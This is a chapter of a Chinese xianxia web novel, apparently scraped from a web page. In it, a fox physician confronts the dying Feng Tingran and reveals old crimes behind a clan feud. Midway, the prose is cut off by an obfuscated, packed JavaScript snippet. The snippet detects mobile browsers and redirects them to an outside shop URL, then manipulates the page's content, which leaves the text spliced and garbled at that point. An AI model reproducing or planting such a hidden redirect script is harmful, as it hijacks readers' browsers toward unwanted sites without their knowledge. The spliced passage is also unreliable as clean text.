良久,陶千玦吱吱呀呀挤出几个字,“大……大师兄,你怎么也来了?”
陶千玦这话问的,没水平极了。
胥予泽说:“我来此地,处理些私事。”
见胥予泽并无怪罪之意,陶千玦脸上挤出一抹笑容,小跑过去拉住胥予泽的袖摆,声音谄媚,“师兄,那个师兄,我来这儿不是来添乱的,我只是来见见小云儿。小云儿闭关三年,一出关就没了人影。本来我想着师尊派小云儿下山除妖,用不了多久她就会回来的,哪知小云儿一去不返。而且小云儿三年前受了那么重的伤,回到宗门半死不活的。”
胥予泽今晚已经第二次听到“那个师兄”四个字了,心中很是无奈。哪个师兄?我看起来很不好说话吗?都有事瞒着我。
江渡云在一旁越听越觉得哪里不对。
陶千玦还在那儿吧啦吧啦说个不停,“清风剑派的事情处处透着诡异惊险,小云儿一个人在外我怎么放心啊?”然后伸出手指着江渡云,努努嘴,“你看你看,小云儿身板瘦弱的跟个鸡仔儿一样,万一在外面被坏人欺负了怎么办?”
江渡云实在受不了了,双唇抿成一条直线笑着看向陶千玦,静静等他说完。
陶千玦尚未意识到气氛的凝结,摇着胥予泽的袖袍,“师兄,小云儿心思单纯,拿颗糖就可以骗走,我们怎么能……”
“陶千玦,你才拿颗糖就能被骗走。”江渡云打断陶千玦的话,说的一板一眼,“我不是小孩子了,我也不需要总受人保护,我有能力护着我自己。”
陶千玦又转向江渡云身前,深吸一口气,真诚道:“在师兄眼里,你就是个小孩子。”
一句话,让江渡云心生歉疚,无言以对。
不得不说,陶千玦的话总是直击人心,天生就有让人沉默的能力。
胥予泽上前,温声说:“好了好了,先坐下吧。”
几人落座,陶千玦眼睛左右斜瞟。他想着,胥予泽应当不会再追究他贸然插手此事的后果了。毕竟,自己真的只是为了江渡云而来,没有其他的意思。
胥予泽还有一件事没来得及跟江渡云说,故而开口道:“前些天,观雨楼门内镇压的妖兽逃窜,宗门有意相助,但尚需观望。”
陶千玦听闻此事,艰难地咽下茶水,眉头紧皱,语气充斥着不可置信,“师兄你再说一遍,观雨楼妖兽逃窜?”
胥予泽点头,“嗯。”
“是我们认识的那个观雨楼嘛?”陶千玦依旧不太相信。一个千年大派,怎会犯下这等失误?
江渡云侧目,趁机报仇道:“傻子,天下有几个观雨楼?”
茶水呛在陶千玦喉咙里,他猛烈地咳嗽几声,不断轻拍胸脯,转头问:“你怎么知道这件事?”
江渡云双手环抱,看了眼桌面,说:“因为我来鞠陵于天的时候,见到了观雨楼弟子。事情是徐澜告诉我的。”
“徐澜……”陶千玦低声轻念这个名字,随后抬眸看着江渡云,“如果不是他,当年北海除蛟,一战成名的人,应该是你。”
胥予泽的视线落到陶千玦身上,唇角微动。
江渡云垂眸,眼中失落转瞬即逝。
陶千玦即刻意识到自己又失言了,右手紧握成拳用力拍在左手掌心,双唇抽搐,面部表情极其不自然,暗骂自己:怎么老是哪壶不开提哪壶。
江渡云很快调整情绪,抬起脑袋摊着手道:“这有什么,名扬天下的机会那么多,不差这一次。”
陶千玦看她一派释然的样子,悬着的心算是放下半截了。
胥予泽安慰说:“师妹如此聪颖机灵,定会有名扬天下的一天。”
真的释然吗?还是对现实无可奈何,不得不低头接受自己的平庸?
事实上,江渡云从未对此释怀,她对自己才是真正的失望。名扬天下的机会哪儿有那么多?
如果……如果当年的自己能够再强一些、再强一些该有多好?强大到再无人可随意伤害自己,强大到可以守护住自己所珍视的一切。
可惜,那一切早就毁了,不复存在。
时过,境却还未迁。
连日来,风亭染四处奔波,生命已近极限。她瘫坐软垫,头晕目眩,越发忆起过往之事。她真的很怀念三姐妹在一起的日子啊。不过很快,她就可以安心去见她们了。风亭染想:待至泉下,必定要向风亭汐好好赔罪。
耳畔渐渐响起一个声音:你要赔罪的人不止一个,你最该赔罪的人也不是她!你有什么资格就这样瞑目?我还给你准备了一份大礼呢!在你亲眼见证这一切之前,你一定不会死的!
风亭染强迫自己清醒,睁开眼看到底是谁敢对她这么说话?
奈何睁眼之后,屋子里空无一人。难道是自己病入膏肓,幻听了?
疑惑间,风念宸赶到殿内,熄灭熏香。
风亭染不明所以,眉头不悦,“毛毛躁躁的干什么?”
风念宸解释说:“姨母,此香有异。正是因为此香,您的伤势才久治不愈,越发严重。我已下令,清查族内医师,势必揪出幕后之人。”
医术精湛的医师不可能不知道熏香被人投了毒,唯一的解释就是医师自己下的毒。可族内医师与风亭染有什么深仇大恨,需要蛰伏数年取她性命?
风亭染蹙眉,“族内医师的身份不都全部查过了吗?乌邪余孽早已拔除,还有谁有这么大的胆子,是嫌活的太久,想找死了吗?”
风念宸垂首,自责道:“尚不明了。”
这么多年,主要负责诊断风亭染身体安危的医师就只有秋拾狸。因此,出了事,他就成为最主要的怀疑对象。
“秋拾狸是狐族,与各方势力均无交集,为何如此?”风亭染绞尽脑汁都想不明白,“况且,他入风氏近二十年,一直以来尽心尽力,还会为山脚百姓义诊,他为什么要害我?”
“兴许……秋医师是被人栽赃嫁祸的呢?”风念宸说出来自己都存疑,狐族嗅觉最是敏锐,连胥予泽都能察觉出的异样,狐族中人会没有感觉吗?
“不会。”风亭染盯着熏香呆呆道。她这一生,仇人的确是多,但大都已无反抗之力。秋拾狸为人善良正直,有目共睹,不是个受人胁迫的性子。一只小狐狸,干嘛要对自己下此毒手?她甚至私底下许诺过秋拾狸好处,唯一的条件就是:希望日后他能好好效忠风念宸。
风亭染既怨恨又痛苦,惊觉刚才听到的声音十分熟悉,好像就是秋拾狸的声音。
为什么,为什么所有人都要背叛她?风亭染心底无声嘶吼。
风氏弟子前去秋拾狸的住处实施抓捕,扑了个空。
屋内回禀时,瑟瑟发抖。不料这回却并未受到惩处,于是战战兢兢地退下。
风念宸请辞,“姨母,您先好好休息,我一定会亲自抓住他,查清原委。”
人人都以为秋拾狸计谋败露,落荒而逃。可他既能对风亭染放下狠话,又怎会轻易逃跑?只怕是有什么惊喜在等着风亭染。
风亭染整个人如遭雷击,死都死的不得安宁。
晨光熹微,客栈内的一间房门被轻轻推开。
来者,正是秋拾狸。
秋拾狸顶着一张狐狸可爱软萌的脸,在看到胥予泽和江渡云时目光格外温柔,仿佛带着一种失而复得,久别重逢的情绪。他的声音轻柔稚嫩,笑起来眼睛都能眯成一条缝,“有时间吗?一起去鞠陵于天看看吧。”
江渡云和胥予泽交换目光,随即起身一同应邀。陶千玦没搞清楚发生了什么,忙起身问:“唉唉唉,不是才从上面下来嘛?怎么又要去?”
秋拾狸插话,“恕在下直言,阁下不方便同去。但倘若二位应允的话,也不是不可以。”秋拾狸的视线转向江渡云等人。
江渡云眨眨眼,微笑着说:“这一趟不安全,师兄好好待在这儿等我们回来。”关乎氏族隐秘,江渡云倒不是防着陶千玦,只是真的担心会发生一场恶战而已。
胥予泽也说:“师弟安心在此地待着,处理完我们就即刻下山与你汇合。届时你想知道什么,我们再告诉你。”
是“再”不是“都”,陶千玦难掩失落,不禁自责自己的无用,失声地点头应了个“嗯”字。
大家看出了他的沮丧,却也没有再说些什么,便一同离去了。
风念宸亲自带队刚要出发,就瞧见熟悉的身影。可秋拾狸身边还跟着胥予泽他们。
风念宸看向秋拾狸,语气中含有几分诘问,“为什么?”
秋拾狸浑身表现出一种无所谓的样子,笑说:“见了风亭染,一切就都解开了。”
风念宸面露狐疑,目光转向胥予泽,得到肯定后,心怀戒备地引几人前去。风迎跟在最后头,留心偷窥之人。
殿内,风亭染掩面咳嗽,身体脏腑像火烧一样难受。
听到门被打开的声音,缓缓抬头望去。映入眼帘的便是秋拾狸的身影,将外头的光遮得七零八落。
风亭染无力起身,眸中尽是愤恨,嗓音喑哑,“你!你这妖邪精怪,竟然背叛风氏!你忘了是风氏给你庇护之地,让你免受同族欺辱,得以施展一身医术才华了吗?”
秋拾狸感觉自己听到了天大的笑话,摊开手反问道:“庇护之地?免遭同族欺辱?得以施展才华?呵呵!你把自己、把风氏想的未免太过伟大了吧!”秋拾狸眼中可爱化为愤怒。
“难道不是吗?”风亭染气血攻心,呕出一口血来。
风念宸见状,急忙扶住风亭染。风亭染却一把推开风念宸。
风念宸焦急道:“姨母!”
风亭染怒斥:“闭嘴!”说完又吐了一口血,风念宸跪着走到她身畔,将她扶起来靠在自己怀里,欲输送灵力以求平安。
秋拾狸声音淡漠,“别挣扎了,她就要死了,没用的。”
风念宸眼眶带泪,抬头朝他吼道:“你闭嘴!”接着低头,声音断断续续,“不会的……不会的……”眼泪彻底流了下来,滴到风亭染身上。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828709|188053||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
风亭染掀开她输送灵力的手,虚弱道:“够了。”旋即望向秋拾狸,“我与你无冤无仇,何故如此害我?”
秋拾狸道:“你还真是贵人多忘事,自己害了多少人连自己都记不清了。你跟风亭潇,你们两个都罪该万死,不配受后人敬仰。”
风念宸双唇微张,她抗拒母亲和姨母的狠厉手段,明白她们都是为了风氏好,却仍然选择不按她们的方式行事。无他,惟觉人性之间,终是良善更多。
“如果不是你们风氏内部争权夺利,奉锦姐姐怎么会死?”秋拾狸身形不稳,眼眶含泪,大声质问。
胥予泽瞳孔轻颤,心念:姑祖母。
风亭染瞟了眼胥予泽,不依不饶道:“笑话!人人皆知胥奉锦是死于景雪之手,与风氏何干?”
江渡云听闻此言,闭上眼睛片刻,以示无奈。风亭染简直强词夺理,愚不可及。
秋拾狸嗤笑,指着风亭染说:“事到如今还要推脱!当年,奉锦姐姐找到风亭汐,明明就快要把她从阵法幻境中救出来了,风亭潇却在这时赶到,幻化成景雪的模样,企图杀害风亭汐灭口。奉锦姐姐修为何等高强,岂会被一个药王谷的医师所杀?若无重霄神弓,风亭潇也根本不配做奉锦姐姐的对手!奉锦姐姐是为了救风亭汐,才挡下致命一击,就此殒命的。只恨我修为低下,没法幻化成人,眼睁睁的看着奉锦姐姐遭奸人暗害。”
风亭染凝起眉头,这件事情风亭潇从未透露半分。她只知道风亭潇当年带着重霄神弓,说是寻得亭汐踪迹,但对手实力强悍,需负神弓以解危难。却不想,是杀人灭口,还将胥奉锦之死归于景雪。
风亭染的心底陡然升起一股寒意,第一次觉得风亭潇可怕至极。
真正赶尽杀绝的人,从来都是风亭潇。
她骗她。她还口口声声地说亭汐是她们的姐妹,她没能完全救下亭汐,终日以泪洗面。
原来都是做给自己看的,都是假的!
怪不得从那以后,风氏与胥氏老死不相往来。
胥予泽内心十分矛盾,少见的满面忧伤,方才卸下的仇怨被重新拉回,还更加鲜血淋漓,不忍直视。
真相就是赤裸裸的,肆意嘲笑当局者的入迷。
江渡云轻轻靠近胥予泽,悄悄拉住他的袖袍。衣裳料子贴近手腕,胥予泽缓缓侧过脑袋看着江渡云。四目相望,胥予泽示意江渡云自己无碍。
风亭染闭眼,彻底完了。风亭潇啊风亭潇,你都造了什么孽啊!有朝一日事迹败漏,你让宸儿怎么办?让风氏怎么办?
看着风亭染痛苦的样子,秋拾狸接着说:“还不算完。”
重霄神弓,江渡云倏然抬眸。
秋拾狸转身回望江渡云和胥予泽,“还记得吗?祈愿之石,重霄神弓。”
江渡云的脸色说明一切,她和胥予泽已经猜到了不少。
秋拾狸转身看向风亭染,双手撑在膝盖上俯身说:“流言是真的,风亭潇就是拉不开重霄神弓。”旋即起身指着泛出鱼肚白的天际,“你看啊,看看,苍天都知道风亭潇是个怎样的人,天道都不让风亭潇得逞啊!哈哈哈哈!”泪水与笑声的交织,无端为这场揭露真相的争论变得寂寥悲凉。
风亭染的心跌落谷底,她这一生,争强好胜,就是个彻头彻尾的笑话。泪水自眼角滑落,风念宸第一次见她哭。
风亭染已再无心力支撑身体,黄色的光芒源源不断地从她身上散开。
没有人知道风亭染在想什么,连风亭染自己都不知道自己在想什么。
出乎意料的,没有恶战,没有乱成一锅粥,没有人受伤,却又好像都受伤了。
所有人都沉溺在无法言喻的痛苦当中,不能自拔。
良久,风念宸擦擦眼泪,起身。“谢谢你告诉我们真相;也谢谢你没有牵扯进无辜的人;最后,谢谢你身负仇恨仍旧好好照顾我这么多年,好好对待鞠陵于天的每一个人。”风念宸越说,鼻尖越酸,再次留下泪水。
江渡云欲上前递给她一块帕子,秋拾狸先江渡云一步。
风念宸睁大通红的双眼看着秋拾狸,“你是一个好人,恩怨分明。”
秋拾狸沉默道:“用字有误谓之过,直言责人谓之过,言行逾矩谓之过。这是奉锦姐姐教我的。”
风念宸心中愧怍。
“你真的愿意接受自己的母亲本来就是个十恶不赦的人吗?”秋拾狸问。风亭潇终究是风念宸的生身母亲,当所有的虚伪都被撕碎,她该如何面对这一切。
风念宸擦去泪水,吸了吸鼻子,郑重其事,“我风念宸绝非不敢直面过去未来之人。俗话说,父债子偿。我一定会正视母亲曾经犯下的错误,为此赎罪。”
秋拾狸轻叹,“她们犯下的错,却要你来承担。”
当真可笑,可悲。
风念宸道:“为人子女,义不容辞。”
秋拾狸面露期许赞赏,“你跟她们不一样。”天光落在他的眼里,亮晶晶的。